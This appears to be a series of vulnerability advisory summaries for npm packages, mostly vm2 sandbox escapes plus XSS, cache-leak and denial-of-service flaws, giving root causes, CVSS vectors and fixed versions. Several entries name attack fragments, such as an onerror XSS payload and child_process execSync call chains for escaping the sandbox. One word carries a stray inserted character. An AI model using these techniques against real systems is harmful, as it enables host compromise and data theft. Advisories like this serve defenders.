Denial of service in the request-filtering-agent npm package (all versions prior to 3.2.1) lets remote attackers terminate a Node.js process by causing the application to request a literal private or reserved IP address such as 127.0.0.1 or the cloud-metadata address 169.254.169.254. RequestFilteringHttpAgent and RequestFilteringHttpsAgent threw synchronously from createConnection when rejecting such a literal IP; because Node's http.request/http.get expect connection failures to arrive asynchronously, the throw escaped req.on('error') and surfaced as an uncaught exception that crashes the process (CWE-248). The vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5), so exploitation is unauthenticated but strictly an availability impact - the private-IP filter itself still rejects the request, and no confidentiality or integrity loss is assessed. No public exploit code has been identified at time of analysis, and there is no CISA KEV listing; successful exploitation additionally requires the consuming application to let attacker input reach the agent as a bare IP literal rather than a hostname.
Arbitrary code execution in the npm front-matter parser gray-matter is reachable through its built-in JavaScript engine, which evaluates front matter with eval() whenever the document declares a js/javascript language fence. Any application that passes attacker-influenced markdown or front-matter text into gray-matter's parse call can be induced to run attacker-supplied JavaScript in the Node.js process - the CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8) rates this as unauthenticated remote code execution, with the practical caveat from our assessment that the attack surface is gated by whether the host application exposes gray-matter parsing to untrusted content. Affected coverage is broad rather than version-specific: the reporter states all versions are impacted and verified 4.0.3, while there is no CISA KEV entry, no confirmed public exploit code, and a low EPSS of 0.17% (7th percentile) indicating limited observed exploitation pressure at time of analysis.
Stored cross-site scripting in SiYuan through 3.8.4 lets an attacker who can set a notebook name containing an HTML payload have that markup rendered unescaped when the Daily Note picker dialog is opened, executing JavaScript inside the Electron renderer where Node.js integration is available and escalating to operating system command execution. Exploitation is gated by two preconditions: the attacker must be able to create or inject a notebook carrying the payload (a shared or synced workspace, a server-mode multi-user deployment, or an imported malicious notebook), and the victim must open the picker; the assessed CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, while the published CVSS 4.0 score of 8.6 carries PR:N/UI:A, so the two scorings disagree on whether prior privileges are needed. This is treated as a genuine high-priority issue rather than a high-score-but-low-real-risk case, because the impact chain terminates in OS command execution rather than mere client-side script execution; no public exploit code and no confirmed active exploitation were identified at time of analysis, and a purely local single-user instance that never ingests external notebooks has a materially smaller attack surface.
Cross-client information disclosure in http-cache-semantics through 4.2.0 allows remote, unauthenticated attackers to receive cached responses that were generated for other users. The library's _varyMatches() function performs byte-for-byte comparison of Vary header values and therefore fails to treat a wildcard 'Vary: *' directive as a prohibition on shared-cache reuse, so a request for a URL previously fetched by someone else can be satisfied from cache with that other client's sensitive per-user data. Exploitation is conditional and non-deterministic - it requires a shared, multi-user cache deployment and an origin that emits wildcard Vary on cacheable responses - which is consistent with the vendor CVSS 4.0 score of 8.2 with AC:H and AT:P; no public exploit code has been identified at time of analysis.
Denial of service in source-map-js up to and including 1.2.1 allows an attacker who can supply an indexed source map to hang the Node.js process: the library reads the per-section offset.line value without bounds checking, so an arbitrarily large integer forces a long synchronous loop that blocks the event loop and starves all other requests. The flaw (CWE-1284, improper validation of a specified quantity) is reachable only where a service actually parses attacker-controlled maps - for example an online transpiler, upload-accepting bundler service, or error/stack-trace resolver - since source maps are normally trusted build-time artifacts; the assessed CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) reflects that data-flow prerequisite, and no public exploit was identified at time of analysis. Impact is availability only; despite the 'Information Disclosure' tag in some feeds, there is no confidentiality or integrity loss in the assessed vector.
Cross-user information disclosure in the http-cache-semantics npm library (through 4.2.0) allows unauthenticated attackers to retrieve cached HTTP responses belonging to other users from a shared cache. By re-requesting an identical URL with a large client-supplied Cache-Control: max-stale directive, an attacker can cause the library to serve cache entries that were deliberately security-zeroed - such as responses carrying Set-Cookie session credentials - instead of suppressing them. The vendor CVSS 4.0 score is 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H), while the independent assessment rates it CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N, reflecting that real-world exploitation depends on a downstream shared-cache configuration that stores authenticated responses; the vendor advisory is available from VulnCheck. No public exploit code and no confirmed active exploitation were identified at time of analysis.
Memory exhaustion in the adm-zip Node.js library before 0.6.1 allows remote, unauthenticated attackers to crash or severely degrade any service that reads entries from untrusted ZIP archives: a 105-byte crafted archive whose central directory declares an uncompressed size of ~1.77 GB forces the library to commit roughly 1.8 GB of resident memory before validation fails, which OOM-kills memory-constrained processes (containers, serverless, small VMs) and, with concurrency, can exhaust larger hosts. Publicly available exploit code exists - the vendor advisory includes a self-contained 105-byte base64 PoC (sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386) - and the CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, 7.5) confirms a network-reachable availability-only impact with no privileges or user interaction required. There is no indication of confirmed active exploitation (not in CISA KEV), and applications that never parse attacker-controlled ZIPs are not exposed; the practical severity is governed by host memory limits rather than by any authentication or configuration bar.
Denial of service in uri-js through 4.4.1 lets remote, unauthenticated attackers stall a Node.js process indefinitely: the removeDotSegments routine enters an infinite loop when a path segment begins with a Unicode line separator (U+2028) or paragraph separator (U+2029), blocking the event loop until heap exhaustion. The package is an unmaintained, widely pulled-in dependency (commonly transitively, e.g. via ajv), so the risk is driven by prevalence: no public exploit identified at time of analysis and no confirmed actively exploited (CISA KEV) status. Exposure is limited to applications that actually route untrusted input into removeDotSegments directly, or into normalize()/resolve() with IRI handling enabled; code paths handling only trusted or internal URIs are not reachable by this bug.
Stack exhaustion in the Node.js 'braces' library (micromatch) through 3.0.3 lets unauthenticated remote attackers crash the hosting Node.js process by supplying brace patterns nested deeply enough to overflow the call stack - for example long chains of '{{{{...}}}}' kept just under the library's internal character-length limit, so length-based input validation does not block the payload. Exploitation requires an application path that forwards attacker-controlled strings into braces' recursive AST walkers (the braces(), expand(), or compile() paths referenced at parse.js L38-40, expand.js L102-105, and compile.js L49-53), such as a web parameter or filename routed through micromatch/chokidar-style globbing; the result is an uncaught RangeError that terminates the process. Per the supplied CVSS vector (PR:N/UI:N) no authentication or user interaction is needed on the vulnerable code path, and the CVSS 4.0 score of 8.7 is driven entirely by availability (VA:H) with no confidentiality or integrity impact; no public exploit code was identified at time of analysis.
Sandbox escape in vm2 3.12.0 and earlier allows unauthenticated remote attackers who can supply JavaScript to an application embedding vm2's VM or NodeVM to break out of the sandbox and execute arbitrary code on the host, provided the embedder exposes at least one host API returning a host-realm (native) Promise whose rejection value is host-pivotable - the advisory cites a host process object as the example. The flaw is an incomplete rejection-sanitization failure in lib/bridge.js: the sandbox-side Symbol.species and .then neutralization is installed only on the sandbox intrinsic Promise.prototype, so it never applies to host Promises, letting sandboxed code overwrite p.constructor[Symbol.species] and call p.then() without an onRejected handler, after which V8's internal Thrower re-throws the raw host rejection value into an attacker-controlled resolve/reject closure, bypassing handleException and hostPromiseSanitizeReject and yielding an unsanitized, fully functional bridge proxy of the host object. No public exploit identified at time of analysis, but the CVSS 4.0 base score is 10.0 and the issue is fixed in 3.12.1.
Sandbox escape in vm2 NodeVM before 3.12.1 allows unauthenticated remote attackers to execute arbitrary commands on the host, but only when the application has been configured to allow child_process via builtin:['*'] or an explicit allowlist entry. Exploitation requires the host application to run untrusted JavaScript inside a NodeVM instance and to have this misconfiguration; default configurations that do not allow child_process are not vulnerable. The vendor-supplied CVSS 4.0 vector rates this 10.0, while the independent CVSS 3.1 assessment reflects high attack complexity (AC:H) due to the required misconfiguration. No public exploit code or active exploitation has been identified at time of analysis.
Sandbox escape in vm2 through 3.12.0 lets unauthenticated remote attackers execute arbitrary code on the host when the embedding application exposes at least one non-strict (sloppy-mode) host function to the sandbox. By calling such a function with a nullish receiver (`fn()`, `fn.call()`, `Reflect.apply(fn, undefined, [])`, etc.), sandboxed script causes V8 to substitute the host realm’s global object for `this`, which vm2 then wraps and returns as a live proxy of the host global; the attacker can then reach `process` and run commands such as `process.getBuiltinModule('child_process').execSync`. Vendor-released patch: upgrade to 3.12.1; no public exploit identified at time of analysis, but the required pre-condition is common because ordinary JavaScript functions are non-strict by default, and vm2 is deprecated, so unmaintained deployments remain exposed-independent assessment rates this a top-tier priority.
Crafted RESP replies from a malicious, compromised, or impersonated Redis endpoint crash Node.js processes that use redis-parser through 3.0.0, including applications built on node-redis and ioredis, because repeated nested array headers drive unbounded recursion that exhausts the V8 call stack and raises an uncaught RangeError. The flaw is a client-side parser denial of service: it is unauthenticated on the parsing path (CVSS 4.0 vector PR:N/UI:N, CVSS 3.1 assessment AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) and affects default configurations, since recursion depth is not bounded by any setting. Impact is limited to availability - the process terminates without invoking error-handling callbacks - with no confidentiality or integrity effect; the vendor score of 8.7 reflects that high availability impact. No public exploit identified at time of analysis.
Path traversal in AI Agent Automation prior to 0.9.1 lets an authenticated user who can create or modify workflow file steps read or overwrite files outside the intended workspace by supplying '..' segments in the step.path field of a file step. The flaw sits in the executeStep implementation in backend/src/agents/executor.js, where user-controlled paths were resolved against process.cwd() without a containment check, yielding high confidentiality and integrity impact (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N, base 8.1). Exploitation requires only a low-privilege authenticated account with workflow-editing rights; there is no public exploit identified at time of analysis, and the vendor has released a fix in version 0.9.1.
Authenticated cross-tenant data exposure and destruction in AI Agent Automation before 0.9.1: the backend memory controller (backend/src/controllers/memory.controller.js) authenticates requests but never verifies that a caller-supplied agentId or AgentMemory _id belongs to the requesting user, so any logged-in user who knows or obtains another tenant's MongoDB ObjectId can read full AgentMemory records (conversation history, agent context, task data, embeddings, metadata), delete a single victim memory, or wipe all memory for a victim agent. The flaw is CWE-862 (Missing Authorization) and carries a vendor CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), requiring only a valid account (PR:L) with no special configuration or user interaction; the practical barrier is obtaining a valid victim identifier, since ObjectIds are timestamp-based and partially predictable but still must be enumerated or leaked, and meaningful cross-user impact presumes a multi-tenant deployment. No public exploit code and no confirmed active exploitation were identified at time of analysis; exploitability is limited to the identifier-acquisition step rather than any missing precondition.
Reflected cross-site scripting in TS3 Manager prior to 2.2.6 allows an attacker to execute script in the manager's origin when a logged-in operator follows a crafted link to the /api/download handler carrying a malicious port query parameter. Because the token cookie set by the UI store lacks HttpOnly, Secure, and an explicit SameSite attribute, the injected script can read the operator's token and invoke the autofillform socket event, which returns the decoded JWT - including the cleartext ServerQuery password - enabling operator-session hijacking and, when the operator holds administrative ServerQuery credentials, full control of the managed TeamSpeak server. The CVSS vector indicates the attacker needs no prior authentication (PR:N) but user interaction is mandatory (UI:R), meaning the attacker must phish a currently authenticated operator; no public exploit code was identified at time of analysis and the issue is not in CISA KEV. A vendor-released patch is available in 2.2.6.
Improper memory allocation control in ExifReader before 4.41.1 allows remote attackers to exhaust heap memory and terminate the host Node.js process by supplying a crafted HEIC or AVIF (ISO-BMFF) image for metadata parsing. The flaw is unauthenticated and requires no user interaction beyond the target application passing attacker-controlled image data to the library - a small malicious iloc box can allocate hundreds of megabytes of objects, producing a denial of service (CWE-789, CVSS 7.5, availability-only impact). No public exploit code has been identified at time of analysis, and the issue is fixed in version 4.41.1.
Stored cross-site scripting in the Vendure Admin Dashboard (@vendure/dashboard prior to 3.6.5) lets an authenticated, low-privilege administrator store markup in an entity description that executes in a higher-privilege administrator's browser when that administrator opens the affected Products, Collections, Promotions, Payment Methods or Shipping Methods list view, enabling session compromise and cross-privilege or cross-channel administrative actions. The root cause is CWE-79: RichTextDescriptionCell 'strips' HTML by assigning the attacker-controlled description to a live element's innerHTML and only afterwards reading textContent, so active markup such as <img src=x onerror=...> fires during the assignment. The CVSS 3.1 base score is 8.7 (High) on vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - network reachable and low complexity, but requiring an authenticated low-privilege admin account (PR:L) plus a victim admin's interaction (UI:R) when a poisoned row is viewed. The vendor advisory includes a working proof-of-concept payload, i.e. publicly available exploit code exists, but the supplied intelligence contains no CISA KEV entry or other indication of confirmed active exploitation.
Account takeover in Vendure (@vendure/core) prior to 3.7.0 allows an attacker to bind their own external OAuth/social identity to a victim's pre-existing customer account by presenting the victim's email address through a custom AuthenticationStrategy that does not enforce provider-verified email ownership. A successful link exposes the victim's orders, addresses and personal information and permits account changes or order placement as the victim, and the flaw is remotely reachable without authentication per the reported vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, 9.1 vendor score). Real-world exposure is materially narrower than that score suggests: only non-default deployments that configure at least one external strategy forwarding an unverified email are affected, and a pre-existing account with the same address must already exist; native email/password-only stores and strategies that always require provider-verified emails are unaffected. No public exploit code was identified at time of analysis and there is no CISA KEV listing indicating confirmed active exploitation; the issue is fixed in 3.7.0.
Unauthenticated denial of service in Vendure (open-source headless commerce platform) versions up to and including 3.6.4 lets a remote attacker freeze the Node.js event loop by supplying a catastrophically backtracking regular expression to the publicly reachable Shop GraphQL products query through StringOperators.regex, rendering both the storefront and admin API unavailable; repeated requests can sustain the outage. The flaw is only reachable on instances running the better-sqlite3 or sqljs SQLite drivers, which register a synchronous JavaScript REGEXP user-defined function on the event loop, whereas PostgreSQL and MySQL/MariaDB deployments push the pattern to the database engine and are unaffected. CVSS 3.1 rates it 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), and no public exploit code was identified at time of analysis; vendor-released patch: 3.6.5.
Command injection in the @cyclonedx/cyclonedx-npm CLI (versions before 6.0.0) lets an attacker who controls the value passed to the --workspace option run arbitrary operating-system commands on Windows hosts, with the privileges of the user invoking the tool. Exploitation is narrowly gated: the host must be Windows, the CLI must be invoked with --workspace, and the vulnerable Windows fallback npm-execution path in src/npmRunner.ts must be reached, which only occurs when the npm_execpath environment variable does not already point at the npm CLI. The assessed vector (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) shows local attack, no privileges required, but user interaction is needed, so the realistic scenario is a CI/CD or scripted pipeline that feeds untrusted data into --workspace; no public exploit code or confirmed active exploitation was identified at time of analysis, and the flaw is fixed in version 6.0.0.
Memory exhaustion denial of service in vm2 through 3.11.5 lets sandboxed JavaScript escalate beyond the operator-configured bufferAllocLimit by allocating host memory through ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, which the cap never intercepts. Because the allocation is a single synchronous V8 call, vm2's timeout cannot interrupt it, and any deployment that runs untrusted code in a VM - the library's standard use case - is exposed without needing bufferAllocLimit to be enabled at all. Impact is availability-only (CVSS 4.0 8.7; independent assessment CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) and materializes as process OOM-kill, most quickly in memory-capped runtimes such as Docker, Kubernetes, or AWS Lambda; the GHSA advisory ships reproduction code but there is no indication of active exploitation (not listed in CISA KEV), and the issue is resolved in 3.11.6.
Sandboxed JavaScript executed inside vm2's NodeVM before 3.11.6 can step outside the isolation boundary to read host process identity and network topology and, worse, to hijack the host's DNS resolver process-wide. The exposure is gated by two conditions: the embedding application must run attacker-controlled code in NodeVM (the tool's core threat model) and must use the non-default wildcard whitelist builtin: ['*'], which fails to exclude the os and dns modules; the assessed vector is unauthenticated (CVSS PR:N), so once code reaches the sandbox no credentials or user interaction are needed, and a single dns.setServers() call persists for the life of the host process. No public exploit code or confirmed in-the-wild exploitation was identified at time of analysis, and the vendor-released patch is vm2 3.11.6. Real-world priority is driven less by raw severity than by whether a deployment both accepts untrusted code and enables the wildcard builtin list.
Sandboxed JavaScript in vm2 before 3.11.8 can bypass the allowAsync:false restriction by supplying an attacker-controlled thenable to Promise static methods, allowing asynchronous work to continue after VM.run() or NodeVM.run() returns and outside the configured timeout. This is a genuine but moderate-severity protection-mechanism failure (CWE-693) affecting applications that rely on the vm2 sandbox and its async restriction as a trust boundary for executing untrusted code; the CVSS vector indicates PR:L, reflecting the need to supply JavaScript code executed inside the sandbox. No public exploit identified at time of analysis.
Sandbox escape in vm2 through 3.11.6 lets untrusted JavaScript executing inside a NodeVM bypass the configured builtin-module denylist and reach the host filesystem via require('fs/promises') or require('node:fs/promises'), allowing host file creation and modification (confirmed through fsp.writeFile()) plus cp, mkdir, rename, rm, rmdir, truncate and read operations on the host. Exposure is configuration-dependent: only embedders that combine the builtin wildcard with negative entries (for example require: { builtin: ['*', '-fs', '-child_process'] }) are affected, while default configurations and allowlist-style restrictions are not, and no public exploit identified at time of analysis. The flaw is fixed in vm2 3.11.7. Note that the supplied CVSS 4.0 vector carries PR:L while the independent assessment's CVSS 3.1 vector carries PR:N, so authentication requirements are not unambiguously confirmed from available data; exploitation in practice requires only the pre-existing ability to submit sandboxed code.
Sandbox escape in the vm2 Node.js library through 3.11.6 lets untrusted code running inside a NodeVM instance reach the host's child_process builtin and execute operating-system commands whenever the embedding application configures a wildcard builtin require policy containing a node:-prefixed deny entry. The affected configuration (for example new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })) fails to deny the canonical child_process module, so sandboxed code can obtain execSync and spawn via require('child_process') or require('node:child_process'), giving host command-execution capability to code that was supposed to be isolated (CVSS 4.0 base 9.4; assessed CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Exploitation requires PR:L privileges in the sense that the attacker must already be able to run attacker-controlled JavaScript inside the sandbox, and it only works under that specific deny-list form; a correctly spelled '-child_process' entry, a non-wildcard allow-list, or not exposing child_process at all avoids the flaw. No public exploit code or confirmed active exploitation was identified at time of analysis.
Sandbox escape in vm2 3.10.1 through 3.11.6 on Node.js 26 lets code inside a default `new VM()` sandbox reach the host realm and recover the real host `process` object, granting full host Node.js capabilities such as loading host modules like fs, with high confidentiality, integrity, and availability impact on the process running the sandbox. The assessed vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (CVSS 4.0 base score 10.0), meaning unauthenticated remote attackers, and no NodeVM, require permission, or host-object injection is needed - the only hard precondition is that the host process runs Node.js 26. The issue bypasses the earlier JSPI fix for GHSA-6j2x-vhqr-qr7q and is fixed in 3.11.7; no public exploit identified at time of analysis.
Sandbox escape in the vm2 Node.js library (npm package patriksimek:vm2, all versions before 3.11.8) lets untrusted JavaScript executed inside a NodeVM instance reach the host process's __proto__ getter/setter through the sandboxed console._stdout and console._stderr objects, overwrite EventEmitter.prototype.emit, and trigger processes events so that attacker code runs with host process context. Per the vendor CVSS:4.0 vector the flaw is remotely reachable with PR:N and UI:N, so any application that feeds network-supplied JavaScript into a NodeVM gains no additional barrier beyond instantiating the sandbox; no authentication or user interaction is required once code reaches the evaluator. There is no KEV listing and no public exploit identified at time of analysis, but the assessed impact is a complete compromise of the hosting process (S:C/C:H/I:H/A:H), which is why this is treated as maximum severity within its threat model. Note that the AV:N rating reflects the common deployment where untrusted scripts arrive over the network - vm2 is not itself a standalone network service, and applications using it only for trusted code are unaffected.
A denial-of-service flaw in the vm2 Node.js sandbox library (versions 3.10.0 through 3.11.7) allows attacker-controlled JavaScript running inside a NodeVM sandbox to kill the host Node.js process by invoking a host-realm function that returns a rejected Promise and simply ignoring the return value. Because host-origin Promises crossing the bridge are not marked as handled, Node.js's default unhandled-rejection behavior terminates the process; the CVSS 4.0 score is 9.2, and the assessed vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H) rates it unauthenticated and network-reachable but entirely gated on the target embedding vm2 to run untrusted code and exposing at least one host Promise-returning API (the advisory cites events.once() via the NodeVM events builtin). No public exploit code and no CISA KEV entry were identified at time of analysis, and this is an incomplete fix of GHSA-hw58-p9xv-2mjh that is resolved in vm2 3.11.8.
Prototype pollution in the vm2 Node.js sandbox (versions 3.11.0 through 3.11.7) lets JavaScript running inside a VM/NodeVM instance walk the prototype chain into host-realm intrinsics and mutate Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype, so the pollution survives after VM.run() returns and is observed by host-created typed arrays. Because the vm2 usage model is to execute untrusted code, the CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N, VI:H/VA:H plus SI:H/SA:H) yields a 9.3 Critical sandbox-escape-class rating: unauthenticated remote attackers who can supply the sandboxed script can reach the host realm, though the impact is only realized if the host application subsequently creates or operates on host-side TypedArray/ArrayBuffer instances. No public exploit code was identified at time of analysis and the issue is not listed as confirmed actively exploited (CISA KEV), so risk is driven by upstream supply-chain exposure of applications embedding vm2 as an untrusted-code boundary. The vulnerability was reported by VulnCheck and is tracked under CWE-913.
vm2 versions 3.11.4 through 3.11.6 allow untrusted JavaScript running inside the sandbox to bypass cross-realm registered-symbol filtering and write Node.js internal stream symbols onto host WebStream objects, corrupting host-visible stream state - for example making stream.Readable.isDisturbed() return false for an already-consumed stream, which can defeat host logic that enforces one-shot body consumption or rejects errored streams. Exploitation is unauthenticated per the CVSS vector (PR:N) but requires a non-default setup: the embedder must expose both a host WebStream object and the host stream/web module to sandboxed code, and the host must run a Node.js release that exposes nodejs.stream.disturbed and nodejs.stream.errored on WebStream prototypes (validated on Node.js v25.8.0). Impact is integrity-only, with no host code execution, confidentiality, or availability loss in the reported proof; no public exploit code has been identified at time of analysis, and the flaw is fixed in vm2 3.11.7.
Sandbox escape in vm2 before 3.11.7 allows an attacker who can already execute JavaScript inside the vm2 sandbox to bypass the external package allowlist and cause unauthorized host packages to be loaded and executed in the host context. The flaw is an incorrect authorization check: vm2 uses non-exact substring matching when validating package names against the allowlist, so a colliding package name that contains an allowlisted substring is approved. Exploitation requires the host application to use vm2 for untrusted code and to rely on the external package allowlist as a trust boundary; the CVSS vector indicates PR:L, meaning low privileges are required, and no public exploit or CISA KEV confirmed active exploitation was identified at time of analysis.
Sandbox escape in the vm2 Node.js sandboxing library before 3.11.7 lets an attacker who supplies a malicious script file to the vm2 command-line tool execute arbitrary code in the host Node.js process, gaining access to host modules such as fs and child_process. The vulnerable entry point is the CLI utility specifically, not the library's programmatic VM/NodeVM API: an attacker-crafted script uses require(__filename) to re-execute itself in the host realm and slip past the sandbox membrane. Exploitation is local rather than network-facing (CVSS 4.0 AV:L/UI:P, PR:N), requiring a victim or automated job to invoke the vm2 CLI against the attacker-controlled file; the vendor rating is 9.3 (critical), but the local vector and required user interaction make real-world exposure materially narrower than the network-facing vm2 escapes, and there is no public exploit identified at time of analysis.
Sandbox escape in vm2 3.9.6 through 3.11.6 lets attacker-supplied JavaScript running inside a NodeVM break out and execute arbitrary code in the host Node.js process when three conditions line up: the host runs Node.js 24 or newer, the embedder has explicitly allowlisted the node:test builtin, and the sandboxed code is under attacker control. The bypass exists because vm2's family-based DANGEROUS_BUILTINS check does not recognise Node.js 24's scheme-only 'node:test' key, so the module is placed in the generic host-passthrough loader, and a single 'node:' prefix strip in requireImpl() means require('node:node:test') resolves to that stored key; forwarded node:test.run() calls reach the host implementation, which spawns a separate Node process and honours attacker-supplied execArgv values such as --eval=<JavaScript>. Vendor severity is 9.4 (CVSS 4.0) and our independent assessment scores it CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, a genuine full sandbox escape to host code execution whose real-world reachability is constrained by the hard Node.js 24+ and non-default node:test allowlist prerequisites; no public exploit identified at time of analysis. Fixed in vm2 3.11.7.
Sandbox escape in vm2 before 3.11.7 lets attacker-supplied JavaScript running inside the sandbox read and write Node.js Buffer memory that belongs to the host realm, exposing sensitive host data drawn from Buffer.from, Buffer.concat and similar allocations while also enabling memory-pressure/availability abuse. The only precondition is that the host application executes untrusted code through vm2 - the library's core use case for plugin engines, eval services and code runners - so no special toggle is required; a remote attacker is unauthenticated per the CVSS vector (PR:N) but there is no over-the-network attack path against vm2 in isolation, and applications that only run trusted code or have already migrated to isolated-vm are unaffected. The vendor assigns CVSS 4.0 10.0 (VC:H/VI:H/SC:H/SI:H), while our independent assessment of the same issue is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - we agree on the confidentiality and sandbox-boundary (scope-change) severity but rate integrity impact lower; no public exploit identified at time of analysis and no CISA KEV entry, though the deployment pattern makes weaponizable preconditions trivial once a sandbox is reachable. Fixed in 3.11.7.
Sandbox escape leading to remote code execution affects the vm2 Node.js sandbox library before version 3.11.7 when the embedding application enables require.external without an explicit require.root that excludes node_modules. Under that configuration, attacker-supplied JavaScript running inside the sandbox can require vm2's own package, construct an unrestricted NodeVM instance, and then execute arbitrary host OS commands through child_process, yielding a complete escape from the sandbox to the underlying operating system. Exploitation requires two operator-chosen, non-default preconditions (running untrusted code in vm2 AND the permissive require configuration), so deployments that leave require.external disabled or pin require.root away from node_modules are not exposed; no public exploit code was identified at time of analysis, and the vendor-released fix is version 3.11.7.
Sandbox escape in the vm2 npm library versions 3.10.2 through 3.11.6, when running on Node.js 26, allows attacker-supplied JavaScript to break out of the sandbox and reach the host Function constructor and process object, resulting in arbitrary code execution. The escape is unauthenticated and requires no special vm2 configuration - no require.external, builtin allowlists, or unsafe options - but it is gated on the Node.js 26 / V8 14.6 runtime, so the same vm2 versions on other Node.js major versions are not affected by this finding. No public exploit code and no confirmed active exploitation were identified at time of analysis; the practical prerequisite is that a deployment accepts and executes untrusted code inside vm2, which is the library's core threat model.
Denial of service in vm2 through 3.11.6 lets sandboxed JavaScript escape the VM({ timeout }) accounting and block the host event loop indefinitely. Because FinalizationRegistry and WeakRef are exposed to the sandbox unmodified (they are not among the hardened globals in lib/setup-sandbox.js) and the timeout only wraps the single _runScript() call via doWithTimeout() in lib/vm.js, sandboxed code can register a FinalizationRegistry cleanup callback, drop the last strong reference to the target object, and return from vm.run() well within the configured timeout; when V8 later reclaims the object it invokes the sandboxed callback with no timeout in effect, so a busy loop there hangs the host process for an unbounded period. Exploitation requires a host application that executes attacker-controlled JavaScript inside vm2 and relies on VM({timeout}) as its resource-exhaustion control - vm2's intended use case. Impact is availability only (no sandbox escape, code execution, or data disclosure), and no public exploit identified at time of analysis; the main practical limiter is that GC timing is non-deterministic and only loosely influenced by the attacker via memory pressure or --expose-gc.
Sandbox escape in vm2 3.11.3 through 3.11.6 lets JavaScript executing inside a NodeVM instance reach the host tls module and call tls.setDefaultCACertificates(), overwriting the process-wide default certificate authority store so that subsequent host HTTPS clients will accept attacker-supplied certificates. The flaw is config-gated rather than a default-configuration remote exploit: the host application must both run attacker-controlled JavaScript inside vm2 and expli(他)citly add the 'tls' and 'url' modules to the sandbox builtin allowlist, which is not vm2's default builtin set, and meaningful data compromise additionally requires the attacker to hold a network man-in-the-middle position to present the newly trusted forged certificate. Consistent with those prerequisites, our assessment scores this as CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L (unauthenticated from the network, but high attack complexity and scope-changing sandbox-integrity impact) rather than the unmodified 10.0 of the supplied CVSS 4.0 vector; no public exploit code and no confirmed active exploitation were identified at time of analysis.
Credential disclosure and HTTPS session hijacking in vm2 3.11.3 through 3.11.6 allow sandboxed JavaScript to read host Authorization headers, private destination host/port information, and subsequent plaintext response bodies when a NodeVM is explicitly configured to allow require('https') and the host process concurrently issues outbound HTTPS requests. The vendor rates this CVSS 4.0 10.0, but our independent assessment scores it CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N; exploitation requires the non-default require('https') configuration plus opportunistic timing when pooled host connections emit the 'free' event. There is no public exploit identified at time of analysis, and no CISA KEV confirmation was provided in the intelligence.
Sandbox escape and arbitrary native code execution in vm2 3.11.3 through 3.11.6 occurs when a NodeVM sandbox is configured to allow the host crypto builtin: sandboxed JavaScript can reach crypto.setEngine() and hand it a filesystem path pointing at an attacker-supplied shared library (for example one shipped inside an untrusted plugin package already unpacked to disk), which OpenSSL passes to the operating system's dynamic loader and whose constructor then executes in the host process. Exploitation needs the crypto builtin alone - fs, process, module, child_process, worker_threads, vm and inspector access are all unnecessary - and there is no public exploit code or confirmed active exploitation (no CISA KEV listing) at time of analysis, though the reporter-assigned score of 9.4 reflects the severity if those prerequisites are met. Real-world urgency is gated by deployment-specific factors: the crypto builtin must be explicitly exposed to the sandbox and the host must already contain an attacker-writable native library, so a patched release or a tightened builtin allow-list fully removes the attack surface.
Native code execution outside the sandbox affects vm2 versions 3.11.3 through 3.11.6 when the host node:sqlite builtin is exposed to a NodeVM sandbox - either explicitly or through the wildcard builtin: ['*'] - which is not a default configuration. Sandboxed plugin code can create an in-memory DatabaseSync with extension loading turned on, resolve an attacker-supplied native library via a __dirname-derived path, and call loadExtension(), causing SQLite to load that library into the Node.js host process and execute its native entry point with host privileges; the vm.readonly() wrapper prevents property assignment but leaves host-authority callables reachable, and a 'node:node:sqlite' double-prefix quirk in the resolver/prefix-stripping logic lets the sandbox reach the configured builtin. There is no public exploit identified at time of analysis and no confirmed active exploitation (CISA KEV) - the vendor released vm2 3.11.7 to fix it. Real-world priority is strongly gated by configuration: exploitation requires all of permitting node:sqlite in the sandbox, enabling SQLite extension loading, and having an attacker-controlled .so/.dll on disk within the plugin package.
Sandbox escape leading to remote code execution in vm2 3.11.6 lets untrusted code inside the sandbox reach a live proxy to a host-realm object and run commands with the host process privileges, for example through e.detail.mainModule.require('child_process').execSync(...). The flaw is an incomplete fix for GHSA-m283-3h24-438v: registering a rejection handler via Function.prototype.call or .apply indirection (p.then.call(p, undefined, cb)) bypasses the identity check at lib/bridge.js:1624, so the raw host Error and its non-primitive own properties are handed to sandbox code. Exploitation is conditional: the embedder must bridge an async host Promise into the sandbox and that Promise must reject with an Error carrying a non-primitive own property that references a host object (for example err.detail = process); direct p.then(undefined, cb), .bind and Reflect.apply forms are correctly sanitised. Upgrade to vm2 3.11.7 closes the bypass; no public exploit identified at time of analysis.
